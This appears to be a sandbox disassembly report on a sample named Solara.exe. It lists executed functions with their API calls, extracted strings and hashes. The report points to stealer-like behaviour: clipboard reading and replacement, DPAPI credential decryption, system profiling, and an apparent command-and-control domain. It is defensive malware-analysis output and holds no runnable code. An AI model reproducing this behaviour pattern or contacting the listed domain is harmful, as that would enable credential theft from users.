Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 3a091ecabf108bb24c8a22d232eddc0bd30bd3e776c84db78c74645e5f6b1ddb
Instruction ID: 578e92895e6a201dae27cebb0ad3b06f97f9c027664929010d58e4ce635e6d75
Opcode Fuzzy Hash: 3a091ecabf108bb24c8a22d232eddc0bd30bd3e776c84db78c74645e5f6b1ddb
Instruction Fuzzy Hash: 22F0F8F1524310ABD700AF58E84A74BBBE8EB59718F01881CF598AB311D3B5D5A8CF92

Analysis Process: Solara.exePID: 7620, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	7.2%
Signature Coverage:	42.6%
Total number of Nodes:	223
Total number of Limit Nodes:	20

Executed Functions

Function 00411BB0 Relevance: 159.4, APIs: 1, Strings: 89, Instructions: 1884COMMON

Download Yara Rule

Strings

K, xrefs: 00411CF1
5, xrefs: 0041335F
-, xrefs: 00412788
=, xrefs: 00412FC1
T, xrefs: 00413367
>, xrefs: 00412F61
/, xrefs: 004133AF
2, xrefs: 00411DC3
+, xrefs: 00412D10
!, xrefs: 004133BF
`, xrefs: 0041295E
Q, xrefs: 00413347
}, xrefs: 004126E6
S, xrefs: 00412392
=, xrefs: 0041331F
g, xrefs: 00413307
o, xrefs: 004127A8
+, xrefs: 0041338F
g, xrefs: 004132C7
C, xrefs: 00412109
-, xrefs: 0041339F
J, xrefs: 00411EC2
0, xrefs: 00411E37
B, xrefs: 00411CF6
, xrefs: 004126D6
], xrefs: 004130D1
U, xrefs: 00413337
j, xrefs: 004126F6
6, xrefs: 00412FB1
9, xrefs: 004132FF
z, xrefs: 00411C0C
7, xrefs: 0041336F
I, xrefs: 004125DB
Q, xrefs: 00412382
q, xrefs: 00412706
`, xrefs: 00413091
(, xrefs: 00412D18
k, xrefs: 00412352
8, xrefs: 00412C98
#, xrefs: 0041236A
<, xrefs: 00412CB8
!, xrefs: 00411C8C
;, xrefs: 0041330F
, xrefs: 00413021
m, xrefs: 004127B8
K, xrefs: 004125E5
$, xrefs: 00413031
*, xrefs: 00412D08
W, xrefs: 004123B2
3, xrefs: 0041334F
), xrefs: 0041235A
o, xrefs: 00412372
o, xrefs: 00413287
5, xrefs: 00412FA1
:, xrefs: 00412039
), xrefs: 0041337F
>, xrefs: 00412CA8
$, xrefs: 004133D7
0, xrefs: 00413081
i, xrefs: 00412342
U, xrefs: 004123A2
), xrefs: 00413051
m, xrefs: 00412362
b, xrefs: 004130A1
%, xrefs: 004133DF
1, xrefs: 0041333F
M, xrefs: 00413397
T, xrefs: 00411DC8
&, xrefs: 00412CE8
#, xrefs: 00413071
?, xrefs: 0041332F
y, xrefs: 00412798
|, xrefs: 00412B45
X, xrefs: 00411E41
L, xrefs: 004125D6
<, xrefs: 00413001
3, xrefs: 00412FD1
?, xrefs: 00412F81
Y, xrefs: 00413317
J, xrefs: 004125E0
V, xrefs: 004123AA
D, xrefs: 00413486
$, xrefs: 00412CF8
=, xrefs: 00412AE0
", xrefs: 00412CC8
, xrefs: 00412CD8
7, xrefs: 0041238A
D, xrefs: 004137FA
#, xrefs: 004133CF

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: $ $ $!$!$"$#$#$#$$$$$$$%$&$($)$)$)$*$+$+$-$-$/$0$0$1$2$3$3$5$5$6$7$7$8$9$:$;$<$<$=$=$=$>$>$?$?$B$C$D$D$I$J$J$K$K$L$M$Q$Q$S$T$T$U$U$V$W$X$Y$]$`$`$b$g$g$i$j$k$m$m$o$o$o$q$y$z$|$}
API String ID: 0-1430558441
Opcode ID: 6f51afbb31542153ac17584bb8bd85ca6faf61b0594f2859baaa2283363762f8
Instruction ID: 3f7e876fdc4b4fc9326b2f1212b01c35d2faf1b9a29aaffe64d892ab0c1eb4ba
Opcode Fuzzy Hash: 6f51afbb31542153ac17584bb8bd85ca6faf61b0594f2859baaa2283363762f8
Instruction Fuzzy Hash: BF03DE3010C7C18AD3359B3885843EFBFE16B96324F188A6EE4E9873D2D6798586C757

Function 0042187F Relevance: 48.9, APIs: 1, Strings: 26, Instructions: 1693COMMON

Download Yara Rule

Strings

JOSP, xrefs: 00421D6C
g}zh, xrefs: 00421D24
MM, xrefs: 00422A66
r, xrefs: 00422B77
].n^, xrefs: 00421D54
w<, xrefs: 00421F65
wdnf, xrefs: 00421D04
cgI, xrefs: 00421D1C
v(B, xrefs: 004220D7
R03!, xrefs: 00421D74
CNF8, xrefs: 00421D3C
b]g', xrefs: 00421E4C
bOsq, xrefs: 00421D14
vG, xrefs: 004230EF
9d7Z, xrefs: 00423065, 00423135, 00422F45, 00423015, 00423022, 00423142
mindhandru.buzz, xrefs: 00421CDF, 004220C8
iTUJ, xrefs: 00422013
, xrefs: 00421DB2
, xrefs: 004218D0, 004218EB, 00422190, 00422740, 00422769, 004221B4, 00421ABB, 00421CC6, 00421CDB, 00421CDC
Q*RG, xrefs: 00421D5C
w, xrefs: 00422B7F
y}, xrefs: 00421F55
f1B, xrefs: 00422F11
nbh0, xrefs: 00421E54
~SS}, xrefs: 00421D34
, xrefs: 00422550, 00422572

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: $9d7Z$CNF8$JOSP$MM$Q*RG$R03!$].n^$bOsq$b]g'$cgI$f1B$g}zh$iTUJ$mindhandru.buzz$nbh0$r$v(B$vG$wdnf$w$w<$y}$~SS}$$
API String ID: 0-2359571146
Opcode ID: c14e6c14acb301ad29bc5ab071e17f14ceb0fbe914c4cf5615b4e0e1d51bd8b8
Instruction ID: 46ddeba5fc4c2069f7caddc8e74ea65dff037b6c5529b8af0438bee76d3063f0
Opcode Fuzzy Hash: c14e6c14acb301ad29bc5ab071e17f14ceb0fbe914c4cf5615b4e0e1d51bd8b8
Instruction Fuzzy Hash: CFC21FB4608351CFD310CF28E89066BBBE1EF86354F58896CE5D58B3A2E778D905CB46

Function 00437D90 Relevance: 30.3, APIs: 11, Strings: 6, Instructions: 561
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044268C,00000000,00000001,0044267C), ref: 00437F9E
SysAllocString.OLEAUT32(20FC2208), ref: 00437FEB
CoSetProxyBlanket.COMBASE(AF82451C,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438028
SysAllocString.OLEAUT32(20FC2208), ref: 00438067
SysAllocString.OLEAUT32(20FC2208), ref: 00438106
VariantInit.OLEAUT32(.' !), ref: 00438171

Strings

4f@, xrefs: 00437F7E
.' !, xrefs: 00437DC4
v=, xrefs: 00437EC0
C, xrefs: 00437EB9
Zed, xrefs: 00437E4C
ANOL, xrefs: 0043840E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: .' !$4f@$ANOL$C$Zed$v=
API String ID: 65563702-1035801111
Opcode ID: d71773d6f3cafd622f3dbd3df40cc56fd95c1ba38715fb482d384af8682c7497
Instruction ID: 1f56fd56f045259c52df17ff47771173478767a4a6340934a8b0b6d2fc839862
Opcode Fuzzy Hash: d71773d6f3cafd622f3dbd3df40cc56fd95c1ba38715fb482d384af8682c7497
Instruction Fuzzy Hash: FA02C9B1A083409BD310CF29C880B6BBBE1EFDA714F145A2DF591AB391D779D805CB5A

Function 051E1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 051E1032
OpenClipboard.USER32(00000000), ref: 051E103C
GetClipboardData.USER32(0000000D), ref: 051E104C
GlobalLock.KERNEL32(00000000), ref: 051E105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 051E1090
GlobalLock.KERNEL32 ref: 051E10A0
GlobalUnlock.KERNEL32 ref: 051E10C1
EmptyClipboard.USER32 ref: 051E10CB
SetClipboardData.USER32(0000000D), ref: 051E10D6
GlobalFree.KERNEL32 ref: 051E10E3
GlobalUnlock.KERNEL32(?), ref: 051E10ED
CloseClipboard.USER32 ref: 051E10F3
GetClipboardSequenceNumber.USER32 ref: 051E10F9

Memory Dump Source

Source File: 00000002.00000002.2898514560.00000000051E1000.00000020.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: true

Associated: 00000002.00000002.2898500410.00000000051E0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2898528691.00000000051E2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_51e0000_Solara.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 1020293ed6e5f689a881c03ee85df483d90b86a9dc8055a4f539a1b7f1b33e82
Instruction ID: ac20cf259bb3ed65adfb4db930ef9b393faa1d9273e4a372e2727d5ad4ac4d65
Opcode Fuzzy Hash: 1020293ed6e5f689a881c03ee85df483d90b86a9dc8055a4f539a1b7f1b33e82
Instruction Fuzzy Hash: F2218879654650ABE7212BF19C0EF6A7BACFF08751F050428F956DA191EF718C80CF61

Function 00422672 Relevance: 14.7, APIs: 1, Strings: 7, Instructions: 698
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00422740, 00422769
vG, xrefs: 004230EF
9d7Z, xrefs: 00423065, 00423135, 00422F45, 00423015, 00423022, 00423142
MM, xrefs: 00422A66
r, xrefs: 00422B77
w, xrefs: 00422B7F
f1B, xrefs: 00422F11

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 9d7Z$MM$f1B$r$vG$w$
API String ID: 0-417836181
Opcode ID: e0f3ead7928615f00fd2daa7500f6dfcf1fead8ee24923595221dd3736eb1edb
Instruction ID: f02bfac084fd4d1da26890d48d3cfc9a5bf12ac57fd91786cfd4c6cc4497db09
Opcode Fuzzy Hash: e0f3ead7928615f00fd2daa7500f6dfcf1fead8ee24923595221dd3736eb1edb
Instruction Fuzzy Hash: 0A32DAB4608341DFD314CF69E88062BBBF1FF86354F44892DE5958B361E7B88945CB4A

Function 00422690 Relevance: 14.7, APIs: 1, Strings: 7, Instructions: 698
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00422740, 00422769
vG, xrefs: 004230EF
9d7Z, xrefs: 00423065, 00423135, 00422F45, 00423015, 00423022, 00423142
MM, xrefs: 00422A66
r, xrefs: 00422B77
w, xrefs: 00422B7F
f1B, xrefs: 00422F11

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 9d7Z$MM$f1B$r$vG$w$
API String ID: 0-417836181
Opcode ID: a356f08b245a4e0d60eb824b0293e7b9b4abc442f43027a82ddacfbc0e60a43c
Instruction ID: 874ecf0cf16bc9fec07055dbc218189d02f62e0efd4d4b867cf34bc4bc150c7c
Opcode Fuzzy Hash: a356f08b245a4e0d60eb824b0293e7b9b4abc442f43027a82ddacfbc0e60a43c
Instruction Fuzzy Hash: 2232DAB4608341DFD314CF69E88062BBBF1FF86354F44892DE5958B361E7B88945CB4A

Function 00422890 Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 649
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vG, xrefs: 004230EF
9d7Z, xrefs: 00423065, 00423135, 00422F45, 00423015, 00423022, 00423142
MM, xrefs: 00422A66
r, xrefs: 00422B77
w, xrefs: 00422B7F
f1B, xrefs: 00422F11

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 9d7Z$MM$f1B$r$vG$w
API String ID: 0-1428939846
Opcode ID: ebaafa67e2b7d24f875927a48ee9d9e18f936db6a40c6ccbafff29d81803c232
Instruction ID: 5c24b37c19bf42bc8c8b2e5ca3c42dda614ed11c02ef5961d825b370d9a7daee
Opcode Fuzzy Hash: ebaafa67e2b7d24f875927a48ee9d9e18f936db6a40c6ccbafff29d81803c232
Instruction Fuzzy Hash: DD22B9B02083419FD320DF65E98166BBBE0EF86354F44892DE5D48B361E7B88945CB9B

Function 00408630 Relevance: 7.7, APIs: 5, Instructions: 248
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408654
GetCurrentThreadId.KERNEL32 ref: 0040865E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087A7
GetForegroundWindow.USER32 ref: 004088A7
ExitProcess.KERNEL32 ref: 00408943

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 473dc5eba0dd76e72c93d8d708d7519de016e42aad3efdb1987b46f439088475
Instruction ID: 6525e1a361aa5be5b63b20d39ed021e68fd451da80fce72add592220a675769f
Opcode Fuzzy Hash: 473dc5eba0dd76e72c93d8d708d7519de016e42aad3efdb1987b46f439088475
Instruction Fuzzy Hash: EE81F873E043104FD308DF69CD9635BBAD6ABC8314F0A853EA889EB395DA789C058785

Function 0042B73E Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042BCDE

Strings

_U@J, xrefs: 0042BE40
8H6, xrefs: 0042B77F

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: _U@J$8H6
API String ID: 3960555810-3309195718
Opcode ID: d116dd34ba4b7b6082cfa2485e4bc4b491549f7a2623d35363395a42d08043da
Instruction ID: 7eb90d1e7d28f1720e499a6d4f26b70ee92698bee75e8bd62529a967669021a3
Opcode Fuzzy Hash: d116dd34ba4b7b6082cfa2485e4bc4b491549f7a2623d35363395a42d08043da
Instruction Fuzzy Hash: C6A107746087918FD7168F2A94A07A2FFE1FF57300F58859EC0D69B382D7399806CB94

Function 00433C95 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433CE3
GetSystemMetrics.USER32 ref: 00433CF2

Strings

, xrefs: 00433DC6

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 5b138f3c73ff90597aa7e8f7983edb83adfa2996abfa6d9953d0ed04b013121f
Instruction ID: 46baf844f44c9587460089a2cd138698c7ae207c05784dd08c5e7d25f3a185f8
Opcode Fuzzy Hash: 5b138f3c73ff90597aa7e8f7983edb83adfa2996abfa6d9953d0ed04b013121f
Instruction Fuzzy Hash: F85170B4E142088FCB40EFACD98569DBBF0BF89310F11852AE898E7350D774A944CF96

Function 0042BC22 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 291COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042BCDE

Strings

_U@J, xrefs: 0042BE40

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: _U@J
API String ID: 3960555810-3190672184
Opcode ID: a7f3abed17770290e34537f897a06afe60773b6d18d08cbc49c9e7ad0ab46a59
Instruction ID: 375e62ff3cd78a82eb4d5a8f93c1888d0a50be805c2ffa9150745ac71612cf8e
Opcode Fuzzy Hash: a7f3abed17770290e34537f897a06afe60773b6d18d08cbc49c9e7ad0ab46a59
Instruction Fuzzy Hash: 4F91E6746046928FD7168F2AD4A07A2FFE1FF57300F5885AEC0D69B342D7399406CB95

Function 0040CC00 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 290COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040CC13

Strings

mindhandru.buzz, xrefs: 0040CFC5

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: Uninitialize
String ID: mindhandru.buzz
API String ID: 3861434553-2028435908
Opcode ID: a06c64816ffa0abca3226635415fb9a87a8729313f9a0b1e84a2812cf47a6f15
Instruction ID: 2f92936bbb488e7b822a4d9273b10aee0c6d8f036f250852411a649b1799ffee
Opcode Fuzzy Hash: a06c64816ffa0abca3226635415fb9a87a8729313f9a0b1e84a2812cf47a6f15
Instruction Fuzzy Hash: BE919DB01483C18FD375CF2984A07EBBFE0AF92304F184A6ED4D96B292D7794906CB56

Function 0040C06F Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

tu, xrefs: 0040C1BB
#q&s, xrefs: 0040C1B3

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: #q&s$tu
API String ID: 0-3224641712
Opcode ID: 777373340bc9b5572676835d25b8097b9b4ce95a72d48dab21227df4fc556d68
Instruction ID: e75f51cf3935187afa8d3ce64b0d5e35a97229fd47c589a0317f7c473ab1b59d
Opcode Fuzzy Hash: 777373340bc9b5572676835d25b8097b9b4ce95a72d48dab21227df4fc556d68
Instruction Fuzzy Hash: 2E416976759384ABC3209F359C8132BBBE29BD6210F28A57EE4C4C7755D638C806CB05

Function 004150E9 Relevance: 1.7, APIs: 1, Instructions: 246encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004151AC

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: a37b01be9a152c12e9a8c9adf2c56d465192ded63a5b577bf92878c8eb15c498
Instruction ID: e8206d7e07a9348ce572cc2843209c2b0964a09594d7179009ac082ddb3e2830
Opcode Fuzzy Hash: a37b01be9a152c12e9a8c9adf2c56d465192ded63a5b577bf92878c8eb15c498
Instruction Fuzzy Hash: 9181CF759087419FC720CF28C4906EBB7E1EFCA314F44895EE49987292D738D985CB46

Function 0043CB40 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043FBBA,005C003F,00000018,?,?,00000018,?,?,?), ref: 0043CB6E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043D0BC Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043D1E0

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: f3add65c8c66c1264d36a7cedc1dc6a2a35e4876c016a884e0f2d047e04cdaf3
Instruction ID: 57aa72638c98ce2d8f959c8624c19577f898566f2cc3933257cded3dbd705927
Opcode Fuzzy Hash: f3add65c8c66c1264d36a7cedc1dc6a2a35e4876c016a884e0f2d047e04cdaf3
Instruction Fuzzy Hash: 80512D36B405554BDB15CB68DC925BF77E2EB89314F2D122DD892A7384D7389C028798

Function 0043EBB0 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

@, xrefs: 0043EC19

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 4058944072796ca71fbba865c7ac76e2a44e31e05df5f8c08e7e75fcda71549d
Instruction ID: 55a2e18f1c91ed2eb06740b9858f601295e9f11996a9e115cc2611de2f289390
Opcode Fuzzy Hash: 4058944072796ca71fbba865c7ac76e2a44e31e05df5f8c08e7e75fcda71549d
Instruction Fuzzy Hash: 2B21EF710083059BD710DF19D88266BBBF5FF9A314F10A92DE695873D1E3359808CB9A

Function 00425CD0 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5458d8ce92b2d52b8b7babda298c5289894db38333b79e8189c91a4c9e8321e5
Instruction ID: b65b817c1c12ae57a8d770312d292270b958f22a563743e40d845ef67ec1a9be
Opcode Fuzzy Hash: 5458d8ce92b2d52b8b7babda298c5289894db38333b79e8189c91a4c9e8321e5
Instruction Fuzzy Hash: 68C18E71B087604BDB14CF24984167BB7A2EFD5304F9A853EE9859B341E338ED06D39A

Function 0042C344 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C365
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042C467

Strings

67"9, xrefs: 0042C38A

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: 67"9
API String ID: 2904949787-764888412
Opcode ID: 6273d680a983f7395ed7dcddbded441ac5c7d0d1942819fd894000ea8b664065
Instruction ID: dc2dc78447f9c8bb9b0e97c67a5edb44f5c1064523ecf9d5839ca8313f422e74
Opcode Fuzzy Hash: 6273d680a983f7395ed7dcddbded441ac5c7d0d1942819fd894000ea8b664065
Instruction Fuzzy Hash: E73128356056418FE7298F39D8907667BE3AF9B304F2C85ADD4D68B796CA399802CB40

Function 0042C342 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C365
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042C467

Strings

67"9, xrefs: 0042C38A

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: 67"9
API String ID: 2904949787-764888412
Opcode ID: b31a60936a696bb8ac9ad3f8d1eeb2c46063e81764abb1d7a28fb08f4da03b98
Instruction ID: a936647d4a2902ee5bcfb1b7c92b01fc428b994644419bca8ab809060a124203
Opcode Fuzzy Hash: b31a60936a696bb8ac9ad3f8d1eeb2c46063e81764abb1d7a28fb08f4da03b98
Instruction Fuzzy Hash: D6313836711A008BE728CF39DC9176A7BE3AB9A314F6CC56DD4968B795CA349802CB40

Function 0042C2E2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042C467

Strings

67"9, xrefs: 0042C38A

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ComputerName
String ID: 67"9
API String ID: 3545744682-764888412
Opcode ID: 789287c801a252fdd4a67ecaaef88e82ec2753ba496f4b5378df858b0376ca89
Instruction ID: 293a5ed6f154df08a743ee3f4a16e53dad6762b24a5107bbaa3d7de7d287c13e
Opcode Fuzzy Hash: 789287c801a252fdd4a67ecaaef88e82ec2753ba496f4b5378df858b0376ca89
Instruction Fuzzy Hash: B6314936705A008BD328CF39DC90766BBE3ABDE314F2CC66DD4968B795C63498038A40

Function 0040C678 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C68A
